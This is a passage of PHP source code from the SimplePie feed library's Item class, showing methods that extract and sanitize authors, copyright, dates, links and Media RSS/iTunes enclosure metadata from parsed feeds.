            $name = null;
            $uri = null;
            $email = null;
            if (isset($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['name'][0]['data'])) {
                $name = $this->sanitize($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['name'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if (isset($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0]['data'])) {
                $uri = $author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0];
                $uri = $this->sanitize($uri['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($uri));
            }
            if (isset($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['email'][0]['data'])) {
                $email = $this->sanitize($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['email'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if ($name !== null || $email !== null || $uri !== null) {
                $authors[] = $this->registry->create(Author::class, [$name, $uri, $email]);
            }
        }
        if ($author = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'author')) {
            $name = null;
            $url = null;
            $email = null;
            if (isset($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['name'][0]['data'])) {
                $name = $this->sanitize($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['name'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if (isset($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0]['data'])) {
                $url = $author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0];
                $url = $this->sanitize($url['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($url));
            }
            if (isset($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['email'][0]['data'])) {
                $email = $this->sanitize($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['email'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if ($name !== null || $email !== null || $url !== null) {
                $authors[] = $this->registry->create(Author::class, [$name, $url, $email]);
            }
        }
        if ($author = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'author')) {
            $authors[] = $this->registry->create(Author::class, [null, null, $this->sanitize($author[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT)]);
        }
        foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'creator') as $author) {
            $authors[] = $this->registry->create(Author::class, [$this->sanitize($author['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null]);
        }
        foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'creator') as $author) {
            $authors[] = $this->registry->create(Author::class, [$this->sanitize($author['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null]);
        }
        foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'author') as $author) {
            $authors[] = $this->registry->create(Author::class, [$this->sanitize($author['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null]);
        }

        if (!empty($authors)) {
            return array_unique($authors);
        } elseif (($source = $this->get_source()) && ($authors = $source->get_authors())) {
            return $authors;
        } elseif ($authors = $this->feed->get_authors()) {
            return $authors;
        }

        return null;
    }

    /**
     * Get the copyright info for the item
     *
     * Uses `<atom:rights>` or `<dc:rights>`
     *
     * @since 1.1
     * @return string|null
     */
    public function get_copyright()
    {
        if ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'rights')) {
            return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_10_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
        } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'rights')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'rights')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
        }

        return null;
    }

    /**
     * Get the posting date/time for the item
     *
     * Uses `<atom:published>`, `<atom:updated>`, `<atom:issued>`,
     * `<atom:modified>`, `<pubDate>` or `<dc:date>`
     *
     * Note: obeys PHP's timezone setting. To get a UTC date/time, use
     * {@see get_gmdate}
     *
     * @since Beta 2 (previously called `get_item_date` since 0.8)
     *
     * @param string $date_format Supports any PHP date format from {@see http://php.net/date} (empty for the raw data)
     * @return ($date_format is 'U' ? ?int : ?string)
     */
    public function get_date(string $date_format = 'j F Y, g:i a')
    {
        if (!isset($this->data['date'])) {
            if ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'published')) {
                $this->data['date']['raw'] = $return[0]['data'];
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'pubDate')) {
                $this->data['date']['raw'] = $return[0]['data'];
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'date')) {
                $this->data['date']['raw'] = $return[0]['data'];
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'date')) {
                $this->data['date']['raw'] = $return[0]['data'];
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'updated')) {
                $this->data['date']['raw'] = $return[0]['data'];
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'issued')) {
                $this->data['date']['raw'] = $return[0]['data'];
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'created')) {
                $this->data['date']['raw'] = $return[0]['data'];
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'modified')) {
                $this->data['date']['raw'] = $return[0]['data'];
            }

            if (!empty($this->data['date']['raw'])) {
                $parser = $this->registry->call(Parse\Date::class, 'get');
                $this->data['date']['parsed'] = $parser->parse($this->data['date']['raw']) ?: null;
            } else {
                $this->data['date'] = null;
            }
        }
        if ($this->data['date']) {
            switch ($date_format) {
                case '':
                    return $this->sanitize($this->data['date']['raw'], \SimplePie\SimplePie::CONSTRUCT_TEXT);

                case 'U':
                    return $this->data['date']['parsed'];

                default:
                    return date($date_format, $this->data['date']['parsed']);
            }
        }

        return null;
    }

    /**
     * Get the update date/time for the item
     *
     * Uses `<atom:updated>`
     *
     * Note: obeys PHP's timezone setting. To get a UTC date/time, use
     * {@see get_gmdate}
     *
     * @param string $date_format Supports any PHP date format from {@see http://php.net/date} (empty for the raw data)
     * @return ($date_format is 'U' ? ?int : ?string)
     */
    public function get_updated_date(string $date_format = 'j F Y, g:i a')
    {
        if (!isset($this->data['updated'])) {
            if ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'updated')) {
                $this->data['updated']['raw'] = $return[0]['data'];
            }

            if (!empty($this->data['updated']['raw'])) {
                $parser = $this->registry->call(Parse\Date::class, 'get');
                $this->data['updated']['parsed'] = $parser->parse($this->data['updated']['raw']) ?: null;
            } else {
                $this->data['updated'] = null;
            }
        }
        if ($this->data['updated']) {
            switch ($date_format) {
                case '':
                    return $this->sanitize($this->data['updated']['raw'], \SimplePie\SimplePie::CONSTRUCT_TEXT);

                case 'U':
                    return $this->data['updated']['parsed'];

                default:
                    return date($date_format, $this->data['updated']['parsed']);
            }
        }

        return null;
    }

    /**
     * Get the localized posting date/time for the item
     *
     * Returns the date formatted in the localized language. To display in
     * languages other than the server's default, you need to change the locale
     * with {@link http://php.net/setlocale setlocale()}. The available
     * localizations depend on which ones are installed on your web server.
     *
     * @since 1.0
     *
     * @param string $date_format Supports any PHP date format from {@see http://php.net/strftime} (empty for the raw data)
     * @return string|null|false see `strftime` for when this can return `false`
     */
    public function get_local_date(string $date_format = '%c')
    {
        if ($date_format === '') {
            if (($raw_date = $this->get_date('')) === null) {
                return null;
            }

            return $this->sanitize($raw_date, \SimplePie\SimplePie::CONSTRUCT_TEXT);
        } elseif (($date = $this->get_date('U')) !== null && $date !== false) {
            return strftime($date_format, $date);
        }

        return null;
    }

    /**
     * Get the posting date/time for the item (UTC time)
     *
     * @see get_date
     * @param string $date_format Supports any PHP date format from {@see http://php.net/date}
     * @return string|null
     */
    public function get_gmdate(string $date_format = 'j F Y, g:i a')
    {
        $date = $this->get_date('U');
        if ($date === null) {
            return null;
        }

        return gmdate($date_format, $date);
    }

    /**
     * Get the update date/time for the item (UTC time)
     *
     * @see get_updated_date
     * @param string $date_format Supports any PHP date format from {@see http://php.net/date}
     * @return string|null
     */
    public function get_updated_gmdate(string $date_format = 'j F Y, g:i a')
    {
        $date = $this->get_updated_date('U');
        if ($date === null) {
            return null;
        }

        return gmdate($date_format, $date);
    }

    /**
     * Get the permalink for the item
     *
     * Returns the first link available with a relationship of "alternate".
     * Identical to {@see get_link()} with key 0
     *
     * @see get_link
     * @since 0.8
     * @return string|null Permalink URL
     */
    public function get_permalink()
    {
        $link = $this->get_link();
        $enclosure = $this->get_enclosure(0);
        if ($link !== null) {
            return $link;
        } elseif ($enclosure !== null) {
            return $enclosure->get_link();
        }

        return null;
    }

    /**
     * Get a single link for the item
     *
     * @since Beta 3
     * @param int $key The link that you want to return.  Remember that arrays begin with 0, not 1
     * @param string $rel The relationship of the link to return
     * @return string|null Link URL
     */
    public function get_link(int $key = 0, string $rel = 'alternate')
    {
        $links = $this->get_links($rel);
        if ($links && $links[$key] !== null) {
            return $links[$key];
        }

        return null;
    }

    /**
     * Get all links for the item
     *
     * Uses `<atom:link>`, `<link>` or `<guid>`
     *
     * @since Beta 2
     * @param string $rel The relationship of links to return
     * @return array<string>|null Links found for the item (strings)
     */
    public function get_links(string $rel = 'alternate')
    {
        if (!isset($this->data['links'])) {
            $this->data['links'] = [];
            foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'link') as $link) {
                if (isset($link['attribs']['']['href'])) {
                    $link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate';
                    $this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_own_base($link));
                }
            }
            foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'link') as $link) {
                if (isset($link['attribs']['']['href'])) {
                    $link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate';
                    $this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_own_base($link));
                }
            }
            if ($links = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_10, 'link')) {
                $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_own_base($links[0]));
            }
            if ($links = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_090, 'link')) {
                $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_own_base($links[0]));
            }
            if ($links = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'link')) {
                $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_own_base($links[0]));
            }
            if ($links = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'guid')) {
                if (!isset($links[0]['attribs']['']['isPermaLink']) || strtolower(trim($links[0]['attribs']['']['isPermaLink'])) === 'true') {
                    $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_own_base($links[0]));
                }
            }

            $keys = array_keys($this->data['links']);
            foreach ($keys as $key) {
                if ($this->registry->call(Misc::class, 'is_isegment_nz_nc', [$key])) {
                    if (isset($this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key])) {
                        $this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key] = array_merge($this->data['links'][$key], $this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key]);
                        $this->data['links'][$key] = &$this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key];
                    } else {
                        $this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key] = &$this->data['links'][$key];
                    }
                } elseif (substr((string) $key, 0, 41) === \SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY) {
                    $this->data['links'][substr((string) $key, 41)] = &$this->data['links'][$key];
                }
                $this->data['links'][$key] = array_unique($this->data['links'][$key]);
            }
        }
        if (isset($this->data['links'][$rel])) {
            return $this->data['links'][$rel];
        }

        return null;
    }

    /**
     * Get an enclosure from the item
     *
     * Supports the <enclosure> RSS tag, as well as Media RSS and iTunes RSS.
     *
     * @since Beta 2
     * @todo Add ability to prefer one type of content over another (in a media group).
     * @param int $key The enclosure that you want to return.  Remember that arrays begin with 0, not 1
     * @return \SimplePie\Enclosure|null
     */
    public function get_enclosure(int $key = 0)
    {
        $enclosures = $this->get_enclosures();
        if (isset($enclosures[$key])) {
            return $enclosures[$key];
        }

        return null;
    }

    /**
     * Get all available enclosures (podcasts, etc.)
     *
     * Supports the <enclosure> RSS tag, as well as Media RSS and iTunes RSS.
     *
     * At this point, we're pretty much assuming that all enclosures for an item
     * are the same content.  Anything else is too complicated to
     * properly support.
     *
     * @since Beta 2
     * @todo Add support for end-user defined sorting of enclosures by type/handler (so we can prefer the faster-loading FLV over MP4).
     * @todo If an element exists at a level, but its value is empty, we should fall back to the value from the parent (if it exists).
     * @return \SimplePie\Enclosure[]|null List of \SimplePie\Enclosure items
     */
    public function get_enclosures()
    {
        if (!isset($this->data['enclosures'])) {
            $this->data['enclosures'] = [];

            // Elements
            $captions_parent = null;
            $categories_parent = null;
            $copyrights_parent = null;
            $credits_parent = null;
            $description_parent = null;
            $duration_parent = null;
            $hashes_parent = null;
            $keywords_parent = null;
            $player_parent = null;
            $ratings_parent = null;
            $restrictions_parent = [];
            $thumbnails_parent = null;
            $title_parent = null;

            // Let's do the channel and item-level ones first, and just re-use them if we need to.
            $parent = $this->get_feed();

            // CAPTIONS
            if ($captions = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'text')) {
                foreach ($captions as $caption) {
                    $caption_type = null;
                    $caption_lang = null;
                    $caption_startTime = null;
                    $caption_endTime = null;
                    $caption_text = null;
                    if (isset($caption['attribs']['']['type'])) {
                        $caption_type = $this->sanitize($caption['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($caption['attribs']['']['lang'])) {
                        $caption_lang = $this->sanitize($caption['attribs']['']['lang'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($caption['attribs']['']['start'])) {
                        $caption_startTime = $this->sanitize($caption['attribs']['']['start'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($caption['attribs']['']['end'])) {
                        $caption_endTime = $this->sanitize($caption['attribs']['']['end'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($caption['data'])) {
                        $caption_text = $this->sanitize($caption['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    $captions_parent[] = $this->registry->create(Caption::class, [$caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text]);
                }
            } elseif ($captions = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'text')) {
                foreach ($captions as $caption) {
                    $caption_type = null;
                    $caption_lang = null;
                    $caption_startTime = null;
                    $caption_endTime = null;
                    $caption_text = null;
                    if (isset($caption['attribs']['']['type'])) {
                        $caption_type = $this->sanitize($caption['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($caption['attribs']['']['lang'])) {
                        $caption_lang = $this->sanitize($caption['attribs']['']['lang'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($caption['attribs']['']['start'])) {
                        $caption_startTime = $this->sanitize($caption['attribs']['']['start'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($caption['attribs']['']['end'])) {
                        $caption_endTime = $this->sanitize($caption['attribs']['']['end'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($caption['data'])) {
                        $caption_text = $this->sanitize($caption['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    $captions_parent[] = $this->registry->create(Caption::class, [$caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text]);
                }
            }
            if (is_array($captions_parent)) {
                $captions_parent = array_values(array_unique($captions_parent));
            }

            // CATEGORIES
            foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'category') as $category) {
                $term = null;
                $scheme = null;
                $label = null;
                if (isset($category['data'])) {
                    $term = $this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                }
                if (isset($category['attribs']['']['scheme'])) {
                    $scheme = $this->sanitize($category['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                } else {
                    $scheme = 'http://search.yahoo.com/mrss/category_schema';
                }
                if (isset($category['attribs']['']['label'])) {
                    $label = $this->sanitize($category['attribs']['']['label'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                }
                $categories_parent[] = $this->registry->create(Category::class, [$term, $scheme, $label]);
            }
            foreach ((array) $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'category') as $category) {
                $term = null;
                $scheme = null;
                $label = null;
                if (isset($category['data'])) {
                    $term = $this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                }
                if (isset($category['attribs']['']['scheme'])) {
                    $scheme = $this->sanitize($category['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                } else {
                    $scheme = 'http://search.yahoo.com/mrss/category_schema';
                }
                if (isset($category['attribs']['']['label'])) {
                    $label = $this->sanitize($category['attribs']['']['label'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                }
                $categories_parent[] = $this->registry->create(Category::class, [$term, $scheme, $label]);
            }
            foreach ((array) $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'category') as $category) {
                $term = null;
                $scheme = 'http://www.itunes.com/dtds/podcast-1.0.dtd';
                $label = null;
                if (isset($category['attribs']['']['text'])) {
                    $label = $this->sanitize($category['attribs']['']['text'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                }
                $categories_parent[] = $this->registry->create(Category::class, [$term, $scheme, $label]);

                if (isset($category['child'][\SimplePie\SimplePie::NAMESPACE_ITUNES]['category'])) {
                    foreach ((array) $category['child'][\SimplePie\SimplePie::NAMESPACE_ITUNES]['category'] as $subcategory) {
                        if (isset($subcategory['attribs']['']['text'])) {
                            $label = $this->sanitize($subcategory['attribs']['']['text'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                        }
                        $categories_parent[] = $this->registry->create(Category::class, [$term, $scheme, $label]);
                    }
                }
            }
            if (is_array($categories_parent)) {
                $categories_parent = array_values(array_unique($categories_parent));
            }

            // COPYRIGHT
            if ($copyright = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'copyright')) {
                $copyright_url = null;
                $copyright_label = null;
                if (isset($copyright[0]['attribs']['']['url'])) {
                    $copyright_url = $this->sanitize($copyright[0]['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                }
                if (isset($copyright[0]['data'])) {
                    $copyright_label = $this->sanitize($copyright[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                }
                $copyrights_parent = $this->registry->create(Copyright::class, [$copyright_url, $copyright_label]);
            } elseif ($copyright = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'copyright')) {
                $copyright_url = null;
                $copyright_label = null;
                if (isset($copyright[0]['attribs']['']['url'])) {
                    $copyright_url = $this->sanitize($copyright[0]['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                }
                if (isset($copyright[0]['data'])) {
                    $copyright_label = $this->sanitize($copyright[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                }
                $copyrights_parent = $this->registry->create(Copyright::class, [$copyright_url, $copyright_label]);
            }

            // CREDITS
            if ($credits = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'credit')) {
                foreach ($credits as $credit) {
                    $credit_role = null;
                    $credit_scheme = null;
                    $credit_name = null;
                    if (isset($credit['attribs']['']['role'])) {
                        $credit_role = $this->sanitize($credit['attribs']['']['role'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($credit['attribs']['']['scheme'])) {
                        $credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    } else {
                        $credit_scheme = 'urn:ebu';
                    }
                    if (isset($credit['data'])) {
                        $credit_name = $this->sanitize($credit['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    $credits_parent[] = $this->registry->create(Credit::class, [$credit_role, $credit_scheme, $credit_name]);
                }
            } elseif ($credits = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'credit')) {
                foreach ($credits as $credit) {
                    $credit_role = null;
                    $credit_scheme = null;
                    $credit_name = null;
                    if (isset($credit['attribs']['']['role'])) {
                        $credit_role = $this->sanitize($credit['attribs']['']['role'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($credit['attribs']['']['scheme'])) {
                        $credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    } else {
                        $credit_scheme = 'urn:ebu';
                    }
                    if (isset($credit['data'])) {
                        $credit_name = $this->sanitize($credit['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    $credits_parent[] = $this->registry->create(Credit::class, [$credit_role, $credit_scheme, $credit_name]);
                }
            }
            if (is_array($credits_parent)) {
                $credits_parent = array_values(array_unique($credits_parent));
            }

            // DESCRIPTION
            if ($description_parent = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'description')) {
                if (isset($description_parent[0]['data'])) {
                    $description_parent = $this->sanitize($description_parent[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                }
            } elseif ($description_parent = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'description')) {
                if (isset($description_parent[0]['data'])) {
                    $description_parent = $this->sanitize($description_parent[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                }
            }

            // DURATION
            $duration_tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'duration');
            if ($duration_tags !== null) {
                $seconds = null;
                $minutes = null;
                $hours = null;
                if (isset($duration_tags[0]['data'])) {
                    $temp = explode(':', $this->sanitize($duration_tags[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT));
                    $seconds = (int) array_pop($temp);
                    if (count($temp) > 0) {
                        $minutes = (int) array_pop($temp);
                        $seconds += $minutes * 60;
                    }
                    if (count($temp) > 0) {
                        $hours = (int) array_pop($temp);
                        $seconds += $hours * 3600;
                    }
                    unset($temp);
                    $duration_parent = $seconds;
                }
            }

            // HASHES
            if ($hashes_iterator = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'hash')) {
                foreach ($hashes_iterator as $hash) {
                    $value = null;
                    $algo = null;
                    if (isset($hash['data'])) {
                        $value = $this->sanitize($hash['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($hash['attribs']['']['algo'])) {
                        $algo = $this->sanitize($hash['attribs']['']['algo'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    } else {
                        $algo = 'md5';
                    }
                    $hashes_parent[] = $algo.':'.$value;
                }
            } elseif ($hashes_iterator = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'hash')) {
                foreach ($hashes_iterator as $hash) {
                    $value = null;
                    $algo = null;
                    if (isset($hash['data'])) {
                        $value = $this->sanitize($hash['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($hash['attribs']['']['algo'])) {
                        $algo = $this->sanitize($hash['attribs']['']['algo'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    } else {
                        $algo = 'md5';
                    }
                    $hashes_parent[] = $algo.':'.$value;
                }
            }
            if (is_array($hashes_parent)) {
                $hashes_parent = array_values(array_unique($hashes_parent));
            }

            // KEYWORDS
            if ($keywords = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'keywords')) {
                if (isset($keywords[0]['data'])) {
                    $temp = explode(',', $this->sanitize($keywords[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT));
                    foreach ($temp as $word) {
                        $keywords_parent[] = trim($word);
                    }
                }
                unset($temp);
            } elseif ($keywords = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'keywords')) {
                if (isset($keywords[0]['data'])) {
                    $temp = explode(',', $this->sanitize($keywords[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT));
                    foreach ($temp as $word) {
                        $keywords_parent[] = trim($word);
                    }
                }
                unset($temp);
            } elseif ($keywords = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'keywords')) {
                if (isset($keywords[0]['data'])) {
                    $temp = explode(',', $this->sanitize($keywords[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT));
                    foreach ($temp as $word) {
                        $keywords_parent[] = trim($word);
                    }
                }
                unset($temp);
            } elseif ($keywords = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'keywords')) {
                if (isset($keywords[0]['data'])) {
                    $temp = explode(',', $this->sanitize($keywords[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT));
                    foreach ($temp as $word) {
                        $keywords_parent[] = trim($word);
                    }
                }
                unset($temp);
            }
            if (is_array($keywords_parent)) {
                $keywords_parent = array_values(array_unique($keywords_parent));
            }

            // PLAYER
            if ($player_parent = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'player')) {
                if (isset($player_parent[0]['attribs']['']['url'])) {
                    $player_parent = $this->sanitize($player_parent[0]['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_own_base($player_parent[0]));
                }
            } elseif ($player_parent = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'player')) {
                if (isset($player_parent[0]['attribs']['']['url'])) {
                    $player_parent = $this->sanitize($player_parent[0]['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_own_base($player_parent[0]));
                }
            }

            // RATINGS
            if ($ratings = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'rating')) {
                foreach ($ratings as $rating) {
                    $rating_scheme = null;
                    $rating_value = null;
                    if (isset($rating['attribs']['']['scheme'])) {
                        $rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    } else {
                        $rating_scheme = 'urn:simple';
                    }
                    if (isset($rating['data'])) {
                        $rating_value = $this->sanitize($rating['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    $ratings_parent[] = $this->registry->create(Rating::class, [$rating_scheme, $rating_value]);
                }
            } elseif ($ratings = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'explicit')) {
                foreach ($ratings as $rating) {
                    $rating_scheme = 'urn:itunes';
                    $rating_value = null;
                    if (isset($rating['data'])) {
                        $rating_value = $this->sanitize($rating['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    $ratings_parent[] = $this->registry->create(Rating::class, [$rating_scheme, $rating_value]);
                }
            } elseif ($ratings = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'rating')) {
                foreach ($ratings as $rating) {
                    $rating_scheme = null;
                    $rating_value = null;
                    if (isset($rating['attribs']['']['scheme'])) {
                        $rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    } else {
                        $rating_scheme = 'urn:simple';
                    }
                    if (isset($rating['data'])) {
                        $rating_value = $this->sanitize($rating['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    $ratings_parent[] = $this->registry->create(Rating::class, [$rating_scheme, $rating_value]);
                }
            } elseif ($ratings = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'explicit')) {
                foreach ($ratings as $rating) {
                    $rating_scheme = 'urn:itunes';
                    $rating_value = null;
                    if (isset($rating['data'])) {
                        $rating_value = $this->sanitize($rating['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    $ratings_parent[] = $this->registry->create(Rating::class, [$rating_scheme, $rating_value]);
                }
            }
            if (is_array($ratings_parent)) {
                $ratings_parent = array_values(array_unique($ratings_parent));
            }

            // RESTRICTIONS
            if ($restrictions = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'restriction')) {
                foreach ($restrictions as $restriction) {
